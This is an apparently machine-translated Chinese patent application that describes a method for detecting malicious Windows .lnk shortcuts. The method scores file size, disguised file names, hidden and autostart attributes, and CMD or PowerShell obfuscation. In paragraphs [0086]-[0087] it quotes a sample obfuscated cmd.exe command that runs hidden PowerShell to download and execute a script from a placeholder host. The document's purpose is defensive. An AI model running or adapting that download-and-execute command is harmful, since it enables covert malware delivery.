Method and device for detecting shortcut of computer operating system
Patent Information
- Application Number
- CN202411009895.5
- Authority / Receiving Office
- CN · China
- Patent Type
- Applications(China)
- Current Assignee / Owner
- Filing Date
- 2024-07-26
- Publication Date
- 2024-11-22
AI Technical Summary
The prior art cannot effectively detect malicious shortcuts in computer operating systems, resulting in reduced computer security.
By monitoring the creation and renaming behavior of shortcuts, obtaining file paths and storage sizes, combining file name disguising detection, the total evaluation value is calculated to determine whether the shortcut is a malicious file, and quickly identifying and filtering is achieved.
Malicious shortcuts can be quickly identified without the participation of antivirus software, improving computer security and filtering efficiency.
Smart Images

Figure CN119004461A_ABST
Abstract
Description
Technical Field
[0001] The present application belongs to the field of computer software and security detection technology, and specifically relates to a method and device for detecting shortcuts of a computer operating system. Background Art
[0002] At present, shortcuts are widely used in computer operating systems, and more and more attackers use shortcuts to carry out attacks. In the prior art, malicious shortcuts are mainly characterized by analyzing the target file system path pointed to by the shortcut and the command line parameters specified by the system when the shortcut target is activated, that is, obtaining the system file path pointed to by the shortcut from the shortcut file, and analyzing whether the file corresponding to the file path is a virus file. The prior method relies on the anti-virus software's anti-virus ability, and cannot effectively detect shortcut attacks based on the shortcut behavior analysis, which reduces the security of the computer. Summary of the invention
[0003] The present application provides a method and device for detecting shortcuts of a computer operating system, which can effectively detect shortcuts of a computer operating system and determine whether they are offensive shortcuts, thereby improving the security of the computer.
[0004] In a first aspect, the present application provides a method for detecting shortcuts in a computer operating system, the method comprising the following steps:
[0005] When it is determined that the file type of the first file is a shortcut, obtaining a file path A corresponding to the created file and a file path B after the file is renamed;
[0006] Obtain the storage size of the shortcut for the file of file path A by calling a function, and obtain a first abnormality evaluation value of file path A according to a first threshold relationship between the storage sizes;
[0007] Extract the file name of file path B, remove the .lnk suffix of the file name to obtain a filtered file name, and perform camouflage detection on the character string of the filtered file name to determine a second abnormality assessment value of file path B;
[0008] A total evaluation value of the file is determined according to the first abnormality evaluation value and the second abnormality evaluation value, and whether the first file is a malicious shortcut is determined according to the total evaluation value.
[0009] In a second aspect, a device for detecting shortcuts of a computer operating system is provided, the device comprising:
[0010] A monitoring unit, used to monitor in real time the creation behavior and file renaming behavior of the file pointed to by the shortcut, and when it is determined that the file type of the first file is a shortcut, obtain a file path A corresponding to the created file and a file path B after the file is renamed;
[0011] An evaluation unit is used to obtain the storage size of the shortcut for the file of file path A by calling a function, and obtain a first abnormality evaluation value of file path A according to a first threshold relationship between the storage sizes; extract the file name of file path B, remove the .lnk suffix of the file name to obtain a filtered file name, and perform camouflage detection on the character string of the filtered file name to determine a second abnormality evaluation value of file path B; determine a total evaluation value of the file according to the first abnormality evaluation value and the second abnormality evaluation value, and determine whether the first file is a malicious shortcut according to the total evaluation value.
[0012] In a third aspect, the present application provides a computer storage medium storing a computer program for electronic data exchange, wherein the computer program enables a computer to execute some or all of the steps described in the first aspect of the present application.
[0013] The embodiments of the present application have the following beneficial effects:
[0014] The technical solution of the present application can quickly identify whether a shortcut is a malicious attack file by the storage size of the shortcut and the renamed file name. The above-mentioned mechanism for quickly filtering shortcuts does not require the participation of anti-virus software, thereby improving the timeliness of shortcut filtering and improving the security of the computer. BRIEF DESCRIPTION OF THE DRAWINGS
[0015] In order to more clearly illustrate the embodiments of the present application or the technical solutions in the prior art, the drawings required for use in the embodiments or the description of the prior art will be briefly introduced below. Obviously, the drawings described below are only some embodiments of the present application. For ordinary technicians in this field, other drawings can be obtained based on these drawings without paying creative work.
[0016] Figure 1 is a schematic diagram of the structure of a computer provided in an embodiment of the present application;
[0017] Figure 2 It is a flowchart of a method for detecting shortcuts in a computer operating system provided in an embodiment of the present application;
[0018] Figure 3 It is a flowchart of a method for calculating a third abnormality evaluation value provided by the present application;
[0019] Figure 4It is a flowchart of a method for detecting shortcuts of a computer operating system provided in Embodiment 1 of the present application;
[0020] Figure 5 It is a structural schematic diagram of a shortcut detection device for a computer operating system provided in an embodiment of the present application. DETAILED DESCRIPTION
[0021] In order to enable those skilled in the art to better understand the solution of the present application, the technical solution in the embodiments of the present application will be clearly and completely described below in conjunction with the drawings in the embodiments of the present application. Obviously, the described embodiments are only part of the embodiments of the present application, not all of the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of this application.
[0022] The terms "first", "second", etc. in the specification and claims of this application and the above-mentioned drawings are used to distinguish different objects, rather than to describe a specific order. In addition, the terms "including" and "having" and any variations thereof are intended to cover non-exclusive inclusions. For example, a process, method, system, product or device that includes a series of steps or units is not limited to the listed steps or units, but optionally includes steps or units that are not listed, or optionally includes other steps or units inherent to these processes, methods, systems, products or devices.
[0023] Reference to "embodiments" herein means that a particular feature, structure, or characteristic described in conjunction with the embodiments may be included in at least one embodiment of the present application. The appearance of the phrase in various locations in the specification does not necessarily refer to the same embodiment, nor is it an independent or alternative embodiment that is mutually exclusive with other embodiments. It is explicitly and implicitly understood by those skilled in the art that the embodiments described herein may be combined with other embodiments.
[0024] The following is an introduction to the relevant terms involved in this application.
[0025] Shortcut: A shortcut is a method provided by the computer operating system to quickly start a program, open a file or folder. It is a quick link to an application, folder or file, and the extension of the shortcut is .lnk.
[0026] File hiding: Hide is a file attribute. Files with this attribute are called "hidden files". Hidden files cannot be displayed in the computer operating system resource manager under the default settings. Hidden files are generally used to protect key system files. An attacker can achieve the purpose of hiding files by setting the attributes of files or folders to hidden.
[0027] White-listed attack: An attack method that uses files that are already on the whitelist to achieve the Trojan's own purpose.
[0028] Process path: refers to the directory where the process is located, which is the full path of the program corresponding to the process.
[0029] Command obfuscation: An attack method that bypasses static feature detection by inserting special characters, replacing characters, etc., without affecting the original execution results.
[0030] File suffix: File extension is a mechanism used by computer operating systems to identify file formats. Its function is to let the system decide which software to use when a user wants to open the file.
[0031] The following describes the system architecture of a computer related to an embodiment of the present application.
[0032] The present application also provides a computer 10, such as Figure 1 As shown, it includes at least one processor 11 and a memory 12, and may also include a communications interface 14 and a bus 13. The processor 11, the memory 12 and the communications interface 14 may communicate with each other through the bus 13. The communications interface 14 may transmit information. The processor 11 may call the logic instructions in the memory 12 to execute the method in the above embodiment.
[0033] In addition, the logic instructions in the above-mentioned memory 12 can be implemented in the form of software functional units and can be stored in a computer-readable storage medium when sold or used as an independent product. The above-mentioned logic instructions can also become an operating system, application program or computer program, etc.
[0034] The memory 12 is a computer-readable storage medium that can be configured to store software programs, computer executable programs, such as program instructions or modules corresponding to the methods in the embodiments of the present disclosure. The processor 11 executes functional applications and data processing by running the software programs, instructions or modules stored in the memory 12, that is, implementing the methods in the above embodiments.
[0035] The memory 12 may include a program storage area and a data storage area, wherein the program storage area may store an operating system and at least one application required for a function; the data storage area may store data created according to the use of the computer 10, etc. In addition, the memory 12 may include a high-speed random access memory and may also include a non-volatile memory. For example, a variety of media that can store program codes, such as a USB flash drive, a mobile hard disk, a read-only memory (ROM), a random access memory (RAM), a magnetic disk or an optical disk, may also be a transient storage medium.
[0036] It is understandable that the computer in this embodiment can be understood as a server, for example, the server includes a cloud server or an edge server, and no unique limitation is made here. Of course, in an optional technical scenario, the above-mentioned computer can also be a personal computer (PC), a tablet computer, a laptop computer, and other smart devices. This application does not limit the specific form of the above-mentioned computer, as long as the above-mentioned computer has an operating system and shortcuts.
[0037] The specific methods are introduced in detail below.
[0038] See also Figure 2 The present application also provides a method for detecting shortcuts of a computer operating system. Figure 2 A flowchart of a method for detecting shortcuts in a computer operating system provided by the present application is shown in FIG. Figure 1 The computer shown in the figure can be a personal computer, a server, a tablet computer, a laptop computer or other smart devices. The shortcuts and lnk files in the embodiments of the present application have exactly the same meaning. The method is as follows Figure 2 As shown, the following steps are included:
[0039] Step S201: when it is determined that the file type of the first file is a shortcut, obtain a file path A corresponding to the created file and a file path B after the file is renamed;
[0040] Step S202: obtaining the storage size of the shortcut for the file of the file path A by calling a function, and obtaining a first abnormality assessment value of the file path A according to a first threshold value (e.g., 5 KB) between the storage sizes;
[0041] For example, the storage size may be the size of the storage space occupied by the file path A storing the shortcut, such as 38 KB (kilobytes), or 51 KB.
[0042] It should be noted that the storage size verification is only applicable to malicious detection of shortcuts. It is not applicable to other types of files and may even have adverse effects. For example, for text files, such as non-shortcut PDF files, the storage size of PDF files is completely determined by the number of files stored, so it is impossible to judge whether it is malicious by the storage size. For example, the storage size of picture or video files is also unrelated to the storage size. Therefore, the above storage size detection can only be applied to malicious detection of special files such as shortcuts, and cannot be applied to malicious detection of ordinary files.
[0043] Step S203, extract the file name of the file path B, remove the .lnk suffix of the file name to obtain a filtered file name, and perform a disguise detection on the character string of the filtered file name to determine a second abnormality assessment value of the file path B;
[0044] For example, the above-mentioned method of performing camouflage detection on the character string of the filtered file name to determine the second abnormality evaluation value of the file path B may specifically include:
[0045] Identify whether the filtered file name is a document file. If it is determined to be a non-document file, extract the TargetUnicode value or TargetAnsi value corresponding to the file path B. If either the TargetUnicode value or the TargetAnsi value is different from the value in the path list in LinkTargetIDList, determine that the filtered file name is disguised, and determine that the second anomaly assessment value is the maximum value.
[0046] For example, in a technical scenario, the TargetUnicode value corresponding to the above file path B is C:\explorer\test.xlsx; a value in the LinkTargetIDList corresponding to the file path B is C:\Users\test\Desktop\hide\download.exe. Obviously, the above C:\explorer\test.xlsx is different from C:\Users\test\Desktop\hide\download.exe, so it is determined that the filtered file name is disguised, and the second anomaly evaluation value is determined to be the maximum value (100).
[0047] For example, the above-mentioned method of performing camouflage detection on the character string of the filtered file name to determine the second abnormality evaluation value of the file path B may specifically include:
[0048] Extract the file suffix of the filtered file name to obtain a first suffix, extract the suffix of the file pointed to by file path B to obtain a second suffix, perform conflict detection on the first suffix and the second suffix, and determine a second abnormality assessment value of file path B based on the result of the conflict detection.
[0049] By way of example, performing conflict detection on the first suffix and the second suffix and determining the second abnormality evaluation value of the file path B according to the result of the conflict detection may specifically include:
[0050] Compare the first suffix and the second suffix to see if they are consistent. If not, determine the conflict. Query whether the first suffix exists in the first preset list and whether the second suffix exists in the second preset list. If the first suffix exists in the first preset list and the second suffix exists in the second preset list, determine that the result of the conflict detection is a strong conflict, and assign a first set value to the second abnormal evaluation value. If the first suffix does not exist in the first preset list or the second suffix does not exist in the second preset list, determine that the conflict detection result is a weak conflict, and assign a second set value to the second abnormal evaluation value, wherein the maximum value > the first set value > the second set value.
[0051] The first preset list may be a document suffix list, such as PDF, doc, txt, etc., and the second preset list may be a non-document suffix list, such as: exe, etc.
[0052] The following is an actual example to illustrate the above-mentioned second abnormal value acquisition method. It is assumed here that the first file is a lnk file, and the lnk file name is "Chen Moumou-Personal Resume.pdf.lnk". The file of the file path B pointed to by the first file is "C:\program\7-Zip\7z.exe". After removing the suffix of .lnk from the first file, the filtered suffix name "Chen Moumou-Personal Resume.pdf" is obtained. In this way, the first suffix is PDF. The second suffix "exe" of the file path B is extracted. PDF and exe do not have the same suffix, and PDF belongs to the suffix of the document (that is, it belongs to the first preset list). exe is the suffix of the executable file, which belongs to the suffix of the non-document (that is, it belongs to the second preset list). Therefore, it has a strong conflict, and the second abnormal evaluation value is determined to be the first preset value (40).
[0053] As another example, it is assumed here that the first file is a lnk file, and the lnk file name is "Chen Moumou-Personal Resume.pdf.lnk". The file of the file path B pointed to by the first file is "C:\program\7-Zip\7z.doc". After removing the .lnk suffix of the first file, the filtered suffix name is obtained, "Chen Moumou-Personal Resume.pdf". In this way, the first suffix is PDF, and the second suffix "doc" of the file path B is extracted. PDF and doc do not have the same suffix, and PDF belongs to the suffix of the document (that is, it belongs to the first preset list), but doc is also the suffix of the document (that is, it does not belong to the second preset list). Therefore, it has a weak conflict, and the second abnormal evaluation value is determined to be the second preset value (20).
[0054] Of course, the score of the name pattern can also be increased in the above second scoring valuation. The specific implementation method can be: by collecting historical malicious lnk samples, extracting the names of historical malicious lnk samples, and building a malicious lnk name feature library for multiple names with the same number exceeding the first threshold, if the above file name is in the feature library, the second scoring valuation increases the third preset value (10), and the above third preset value is less than the second preset value. The above feature library includes but is not limited to: resume, description, introduction, etc. The above first threshold can be set by the detector, which will not be repeated here.
[0055] Step S204: determine a total evaluation value of the file according to the first abnormality evaluation value and the second abnormality evaluation value, and determine whether the first file is a malicious shortcut according to the total evaluation value.
[0056] The technical solution provided by the present application monitors the creation behavior and file renaming behavior of the file pointed to by the shortcut in real time, and when determining that the file type of the first file is a shortcut, obtains the file path A corresponding to the created file and the renamed file path B; obtains the storage size of the shortcut for the file of file path A by calling a function, and obtains the first abnormal evaluation value of file path A according to the first threshold relationship between the storage sizes; extracts the file name of file path B, removes the .ink suffix of the file name to obtain the filtered file name, and performs camouflage detection on the string of the filtered file name to determine the second abnormal evaluation value of file path B; determines the total evaluation value of the file according to the first abnormal evaluation value and the second abnormal evaluation value, and determines whether the first file is a malicious shortcut according to the total evaluation value. In this way, the technical solution of the present application can quickly identify whether the shortcut is a malicious attack file through the storage size of the shortcut and the renamed file name. The above-mentioned mechanism of quickly filtering shortcuts does not require the participation of antivirus software, which improves the timeliness of shortcut filtering and improves the security of the computer.
[0057] For example, the above method may further include:
[0058] Obtain a hidden attribute and a self-starting attribute of the first file, determine a third abnormality evaluation value of the first file according to the hidden attribute and the self-starting attribute, and add the third abnormality evaluation value to the total evaluation value.
[0059] See also Figure 3 , Figure 3 A flowchart of a method for calculating a third abnormality evaluation value provided in this application is shown in FIG. Figure 3 As shown, the above calculation method includes the following steps:
[0060] Determine the lnk file path, obtain the lnk file attribute, identify whether the lnk file attribute is a hidden attribute, if it is identified that the lnk file attribute is a hidden attribute, perform self-start attribute matching on the lnk file, if the lnk file contains the self-start attribute, assign a fourth preset value to the third abnormal evaluation value, if the lnk file does not contain the self-start attribute, assign a fifth preset value to the third abnormal evaluation value, wherein the fourth preset value>the fifth preset value. The size relationship between the fourth preset value, the fifth preset value and the first preset value, the second preset value, and the third preset value is not limited.
[0061] The above method verifies the hidden attribute and the self-starting attribute of the lnk file, so whether the lnk file is a malicious shortcut can be verified again. For malicious shortcuts, they generally have hidden attributes and self-starting attributes. Therefore, the detection of the hidden attribute and the self-starting attribute of the shortcut can well identify whether the shortcut is malicious. In addition, the above scheme first detects the hidden attribute of the lnk file and then detects the self-starting directory, which can reduce the number of shortcuts detected. Because in many technical scenarios, shortcuts have self-starting attributes, such as securities shortcuts, instant messaging shortcuts, and email shortcuts, but these shortcuts are usually not hidden. Therefore, performing hidden detection first can reduce the number of shortcuts to be detected, thereby achieving the purpose of rapid detection.
[0062] For example, the shortcut method of determining whether the first file is malicious based on the total evaluation value may specifically include:
[0063] If the total evaluation value is greater than the malicious threshold, the first file is determined to be a malicious shortcut. If the total evaluation value is less than the malicious threshold, based on the interval in which the total evaluation value is located, the detection process corresponding to the interval is called to determine whether the first file is a malicious shortcut.
[0064] For example, the above-mentioned intervals can be abnormal intervals, low-risk intervals and medium-risk intervals, wherein the range of the abnormal interval can be a total evaluation value between [0, 20], the range of the low-risk interval can be a total evaluation value between [20, 40], and the range of the median interval can be [40, 90]. Of course, in other application scenarios, the above-mentioned abnormal intervals, low-risk intervals and medium-risk intervals can also be other value intervals, and the present application does not limit the specific numerical values of the above-mentioned intervals.
[0065] By way of example, the above-mentioned method of calling the detection process corresponding to the interval to determine whether the first file is a malicious shortcut may specifically include:
[0066] If the total evaluation value is in the medium-risk range, the first file is prevented from running and an alarm is triggered;
[0067] If the total evaluation value is in a low-risk range or an abnormal range, a secondary detection process is called to detect the first file, and whether the first file is a malicious shortcut is determined based on the secondary detection result.
[0068] The above-mentioned process of calling the secondary detection may specifically include:
[0069] If the file pointed to by lnk is a script file, the script detection process is executed, including:
[0070] Analyze massive script attack samples, extract attack features, and build an attack script feature library; determine whether the file pointed to by lnk is a script file. If it is a script file, match the attack script features to determine whether it exists in the attack script feature library; when it exists in the attack script feature library, determine that there are malicious script features, trigger an alarm, and identify the first file as a malicious lnk file; when it does not exist in the attack script feature library, determine that it does not have malicious script features, determine whether the total evaluation value is greater than the alarm value (for example, 0); if the total evaluation value is greater than the alarm value, determine that there are malicious features during the static analysis of the first file, trigger an alarm, and identify it as a malicious lnk file.
[0071] If the file pointed to by lnk is not a script file or a command file, the normal detection process is executed, including:
[0072] Determine whether the file pointed to by lnk is CMD (command prompt) or powershell (consisting of a command line shell and a scripting language, used to automatically execute management tasks in a computer operating system). If it is any one of CMD or powershell, perform CMD obfuscation detection or powershell obfuscation detection on the file pointed to by lnk. If there is obfuscation, it means that the LNK file is a malicious LNK file, and an alarm is directly triggered; if there is no obfuscation, determine whether the total evaluation value is greater than the alarm value (for example, 0). If the total evaluation value is greater than the alarm value, determine that there are malicious features in the static analysis of the first file, trigger an alarm, and identify it as a malicious lnk file.
[0073] If the file pointed to by the above lnk is CMD or PowerShell, it means that the CMD command or PowerShell command is about to be executed.
[0074] If the file pointed to by lnk is a command file, the command detection process is executed, including:
[0075] Analyze a large number of Trojan files, extract common malicious paths, and build a suspicious path list; if the file command file pointed to by lnk is not a system process, determine whether the process path of the command file executed by the lnk file is in the suspicious path list or whether the lnk file attribute is a hidden attribute. If it is in the suspicious path list or the lnk file attribute, it means that there is suspicion; determine whether the total evaluation value is greater than the alarm value (for example, 0). If the total evaluation value is greater than the alarm value, determine that there are malicious features in the static analysis of the first file, trigger an alarm, and identify it as a malicious lnk file.
[0076] For example, the above CMD confusion detection may specifically include the following steps:
[0077] Perform CMD special character detection on the file pointed to by lnk. If CMD special characters appear, obtain the position where the CMD special characters appear. If the position is meaningless, it is determined that CMD confusion exists. The above CMD special characters can be custom characters, including but not limited to: commas, semicolons, single quotes, double quotes, "^" caret, etc. Whether the above positions are meaningful can be judged by preset positions. For example, if the "^" escape character appears in front of a character that does not require escape, the position of the above escape character is meaningless; for example, if a semicolon or comma appears in front of a space, the positions corresponding to the above semicolons and commas are all meaningless positions.
[0078] For example, the above CMD confusion detection may specifically include the following steps:
[0079] Analyze the variables that appear during the execution of the statement pointed to the file by lnk to determine whether the command finally combined by the variables is a normal command call. If it is determined that the value corresponding to a single variable is not a normal command, but it is a normal command after combination, then the command finally combined by the variables is determined to be an abnormal command call, and it is determined that CMD confusion exists.
[0080] For example, the above PowerShell obfuscation detection may specifically include the following steps:
[0081] Perform PowerShell special character detection on the file pointed to by lnk. If PowerShell special characters appear, obtain the position where the PowerShell special characters appear. If the position is meaningless, determine that PowerShell confusion exists. The above PowerShell special characters include but are not limited to: backquotes, double quotes or single quotes. Whether the above position is meaningful can be judged by the preset position. For example, if the string in the double quotes is empty, the position of the double quotes is a meaningless position. For example, when the string between the double quotes and the characters outside the double quotes are combined into a called function, the position of the double quotes is a meaningless position.
[0082] For example, the above PowerShell obfuscation detection may specifically include the following steps:
[0083] Analyze whether there is a reverse call in the statement of the file pointed to by lnk. If there is a reverse call, it is determined that PowerShell obfuscation exists;
[0084] Or analyze whether there is a combined string in the statement where lnk points to the file. If there is a combined string, it is determined that PowerShell obfuscation exists.
[0085] The following is a practical example to illustrate CMDl obfuscation detection.
[0086] For example, in the attack case, download.exe is called to release the malicious lnk file (file name is desktop.lnk) to the startup directory (%AppData%\Microsoft\Windows\Start Menu\Programs\Startup). At this time, the command of desktop.lnk is C:\Windows\System32\cMD.exe;;,,,^^,, / ”c”;;;,,,;;
[0087] "PowerShell -WindowsStyle Hidden -ExecutionPolicy Bypass \"Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\\\"\'ht\'+\'tp:\'+\' / / virusaddress / virus.txt\'\")\"", which points to the program C:\Windows\System32\cMD.exe, a CMD program. Therefore, it is necessary to enter the CMD obfuscation detection process for detection. There are multiple meaningless semicolons and commas in this CMD command, and the "^" character does not appear before the characters that need to be escaped. Therefore, it is determined that this command is obfuscated, and this lnk file is a malicious lnk file, triggering an alarm.
[0088] Embodiment 1
[0089] Embodiment 1 of the present application provides a method for detecting a shortcut of a computer operating system. Refer to Figure 4 , Figure 4 is a schematic flowchart of a method for detecting a shortcut of a computer operating system provided in Embodiment 1 of the present application. The above shortcut takes "Chen XX - Personal Resume.pdf.lnk" as an example, and its lnk file points to the file C:\program\7-Zip\7z.exe. As Figure 4 shown, the above method includes the following steps:
[0090] Step S401: Real-time monitor the creation behavior and file renaming behavior of the file pointed to by the shortcut, and determine the path C:\Users\test\Desktop\Chen XX - Personal Resume.zip corresponding to the file created by the shortcut and the renaming path "C:\Users\test\Desktop\Chen XX - Personal Resume.pdf.lnk";
[0091] Step S402: Determine that the size of the lnk file after decompressing C:\Users\test\Desktop\Chen XX - Personal Resume.zip is 38KB, 38KB > 5KB, and determine the first abnormal evaluation value S_V1 to be 50;
[0092] Step S403: Match C:\Users\test\Desktop\Resume of Chen XX.pdf.lnk with the preset name pattern. If a match is determined, set S_V2.1 = 10. After removing the.lnk suffix, determine that the first suffix is PDF, the suffix of the pointed file is exe, determine that PDF is a document suffix and exe is a non-document suffix. Since the two suffixes do not match, and PDF is in the first preset list and exe is in the second preset list, assign the second anomaly threshold S_V2.2 = 40.
[0093] Step S404: Determine that the total evaluation value = 50 + 10 + 40 = 100. Determine that the total evaluation value is in the high-risk range, and determine that the above shortcut is a malicious shortcut.
[0094] The technical solution of this embodiment can quickly identify whether a shortcut is a malicious attack file based on the storage size of the shortcut and the renamed file name. The above mechanism for quickly filtering shortcuts does not require the participation of an antivirus software, improving the timeliness of shortcut filtering and the security of the computer.
[0095] Refer to Figure 5 , Figure 5 which is a schematic structural diagram of a detection device for shortcuts in a computer operating system provided by this application. As Figure 5 shown, the device includes:
[0096] A monitoring unit 501 for real-time monitoring of the creation behavior and file renaming behavior of the file pointed to by the shortcut. When determining that the file type of the first file is a shortcut, obtain the file path A corresponding to the created file and the file path B after renaming.
[0097] An evaluation unit 502 for obtaining the storage size of the shortcut for the file at file path A by calling a function, and obtaining the first anomaly evaluation value of file path A based on the first threshold relationship between the storage sizes; extracting the file name of file path B, removing the.lnk suffix of the file name to obtain a filtered file name, and performing a disguise detection on the string of the filtered file name to determine the second anomaly evaluation value of file path B; determining the total evaluation value of the file based on the first anomaly evaluation value and the second anomaly evaluation value, and determining whether the first file is a malicious shortcut based on the total evaluation value.
[0098] For example,
[0099] The evaluation unit 502 is specifically used to identify whether the filtered file name is a document file. If it is determined to be a non-document file, the TargetUnicode value or TargetAnsi value corresponding to the file path B is extracted. If any one of the TargetUnicode value or the TargetAnsi value is different from the value in the path list in LinkTargetIDList, it is determined that the filtered file name is disguised, and the second abnormal evaluation value is determined to be the maximum value.
[0100] For example,
[0101] The evaluation unit 502 is specifically used to extract the file suffix of the filtered file name to obtain a first suffix, extract the suffix of the file pointed to by the file path B to obtain a second suffix, perform conflict detection on the first suffix and the second suffix, and determine the second abnormal evaluation value of the file path B based on the result of the conflict detection.
[0102] For example,
[0103] The evaluation unit 502 is specifically used to compare whether the first suffix and the second suffix are consistent. If they are inconsistent, a conflict is determined, and whether the first suffix exists in the first preset list and whether the second suffix exists in the second preset list. If the first suffix exists in the first preset list and the second suffix exists in the second preset list, it is determined that the result of the conflict detection is a strong conflict, and a first set value is assigned to the second abnormal evaluation value. If the first suffix does not exist in the first preset list or the second suffix does not exist in the second preset list, it is determined that the conflict detection result is a weak conflict, and a second set value is assigned to the second abnormal evaluation value, wherein the first set value>the second set value;
[0104] The first preset list is a document suffix list, and the second preset list is a non-document suffix list.
[0105] For example,
[0106] The evaluation unit 502 is further configured to obtain a hidden attribute and a self-starting attribute of the first file, determine a third abnormality evaluation value of the first file according to the hidden attribute and the self-starting attribute, and add the third abnormality evaluation value to the total evaluation value.
[0107] For example,
[0108] The evaluation unit 502 is also used to determine the lnk file path, obtain the lnk file attribute, and identify whether the lnk file attribute is a hidden attribute. If it is identified that the lnk file attribute is a hidden attribute, a self-start attribute match is performed on the lnk file. If the lnk file contains the self-start attribute, a fourth preset value is assigned to the third abnormal evaluation value. If the lnk file does not contain the self-start attribute, a fifth preset value is assigned to the third abnormal evaluation value, wherein the fourth preset value>the fifth preset value.
[0109] For example,
[0110] The evaluation unit 502 is specifically used to determine that the first file is a malicious shortcut if the total evaluation value is greater than the malicious threshold, and if the total evaluation value is less than the malicious threshold, based on the interval in which the total evaluation value is located, call the detection process corresponding to the interval to determine whether the first file is a malicious shortcut.
[0111] For example,
[0112] An evaluation unit 502, specifically configured to prevent the first file from running and trigger an alarm if the total evaluation value is in a medium-risk interval;
[0113] If the total evaluation value is in a low-risk range or an abnormal range, a secondary detection process is called to detect the first file, and whether the first file is a malicious shortcut is determined based on the secondary detection result.
[0114] For example,
[0115] The evaluation unit 502 is specifically used to execute the script detection process if the file pointed to by lnk is a script file, which specifically includes:
[0116] Analyze massive script attack samples, extract attack features, and build an attack script feature library; determine whether the file pointed to by lnk is a script file. If it is a script file, match the attack script features to determine whether it exists in the attack script feature library; if it exists in the attack script feature library, determine that there are malicious script features, trigger an alarm, and identify the first file as a malicious lnk file; if it does not exist in the attack script feature library, determine that it does not have malicious script features, and determine whether the total evaluation value is greater than the alarm value (for example, 0). If the total evaluation value is greater than the alarm value, determine that there are malicious features in the static analysis of the first file, trigger an alarm, and identify it as a malicious lnk file;
[0117] If the file pointed to by lnk is a command file, the command detection process is executed, including:
[0118] Analyze a large number of Trojan files, extract common malicious paths, and build a suspicious path list; if the lnk file pointing to the command file is not a system process, determine whether the process path of the command file executed by the lnk file is in the suspicious path list or whether the lnk file attribute is a hidden attribute. If it is in the suspicious path list or the lnk file attribute, it means that there is suspicion; determine whether the total evaluation value is greater than the alarm value. If the total evaluation value is greater than the alarm value, determine that the static analysis of the first file has malicious features, trigger an alarm, and identify it as a malicious lnk file;
[0119] If the file pointed to by lnk is not a script file or a command file, the normal detection process is executed, including:
[0120] Determine whether the file pointed to by lnk is CMD or PowerShell. If it is any one of CMD or PowerShell, perform CMD obfuscation detection or PowerShell obfuscation detection on the file pointed to by lnk. If there is confusion, it means that the LNK file is a malicious LNK file and an alarm is triggered directly. If there is no confusion, determine whether the total evaluation value is greater than the alarm value. If the total evaluation value is greater than the alarm value, it is determined that there are malicious features in the static analysis of the first file, an alarm is triggered, and it is identified as a malicious lnk file.
[0121] The above embodiments can be implemented in whole or in part by software, hardware, firmware or any other combination. When implemented using software, the above embodiments can be implemented in whole or in part in the form of a computer program product. The computer program product includes one or more computer instructions or computer programs. When the computer instructions or computer programs are loaded or executed on a computer, the process or function described in the embodiment of the present application is generated in whole or in part. The computer can be a general-purpose computer, a special-purpose computer, a computer network, or other programmable device. The computer instructions can be stored in a computer-readable storage medium, or transmitted from one computer-readable storage medium to another computer-readable storage medium. For example, the computer instructions can be transmitted from one website site, computer, server or data center to another website site, computer, server or data center by wired or wireless means. The computer-readable storage medium can be any available medium that a computer can access or a data storage device such as a server or data center that contains one or more available media sets. The available medium can be a magnetic medium (e.g., a floppy disk, a hard disk, a tape), an optical medium (e.g., a DVD), or a semiconductor medium. The semiconductor medium can be a solid-state hard disk.
[0122] An embodiment of the present application also provides a computer storage medium, wherein the computer storage medium stores a computer program for electronic data exchange, wherein the computer program enables a computer to execute part or all of the steps of any method described in the above method embodiments, and the above computer includes an electronic device.
[0123] The embodiment of the present application also provides a computer program product, the computer program product includes a non-transitory computer-readable storage medium storing a computer program, the computer program is operable to cause a computer to execute some or all of the steps of any method described in the method embodiment. The computer program product may be a software installation package, and the computer includes an electronic device.
[0124] It should be understood that in the various embodiments of the present application, the size of the serial numbers of the above-mentioned processes does not mean the order of execution. The execution order of each process should be determined by its function and internal logic, and should not constitute any limitation on the implementation process of the embodiments of the present application.
[0125] In the several embodiments provided in the present application, it should be understood that the disclosed methods, devices and systems can be implemented in other ways. For example, the device embodiments described above are merely schematic; for example, the division of the units is only a logical function division, and there may be other division methods in actual implementation; for example, multiple units or components can be combined or integrated into another system, or some features can be ignored or not executed. Another point is that the mutual coupling or direct coupling or communication connection shown or discussed can be through some interfaces, indirect coupling or communication connection of devices or units, which can be electrical, mechanical or other forms.
[0126] The units described as separate components may or may not be physically separated, and the components shown as units may or may not be physical units, that is, they may be located in one place or distributed on multiple network units. Some or all of the units may be selected according to actual needs to achieve the purpose of the solution of this embodiment.
[0127] In addition, each functional unit in each embodiment of the present invention may be integrated into one processing unit, or each unit may be physically included separately, or two or more units may be integrated into one unit. The above-mentioned integrated unit may be implemented in the form of hardware or in the form of hardware plus software functional units.
[0128] The above-mentioned integrated unit implemented in the form of a software functional unit can be stored in a computer-readable storage medium. The above-mentioned software functional unit is stored in a storage medium, including a number of instructions for a computer device (which can be a personal computer, a server, or a network device, etc.) to perform some steps of the method described in each embodiment of the present invention. The aforementioned storage medium includes: a USB flash drive, a mobile hard disk, a magnetic disk, an optical disk, a volatile memory or a non-volatile memory. Among them, the non-volatile memory can be a read-only memory (ROM), a programmable read-only memory (PROM), an erasable programmable read-only memory (EPROM), an electrically erasable programmable read-only memory (EEPROM) or a flash memory. The volatile memory can be a random access memory (RAM), which is used as an external cache. By way of example but not limitation, many forms of random access memory (RAM) are available, such as static RAM (SRAM), dynamic RAM (DRAM), synchronous DRAM (SDRAM), double data rate SDRAM (DDR SDRAM), enhanced SDRAM (ESDRAM), synchronous link DRAM (SLDRAM) and direct RAM bus RAM (DR RAM). Various media that can store program code are available.
[0129] Although the present invention is disclosed as above, the present invention is not limited thereto. Any person skilled in the art can easily think of changes or substitutions without departing from the spirit and scope of the present invention, and can make various changes and modifications, including the combination of the above-mentioned different functions and implementation steps, including software and hardware implementation methods, all of which are within the scope of protection of the present invention.
Claims
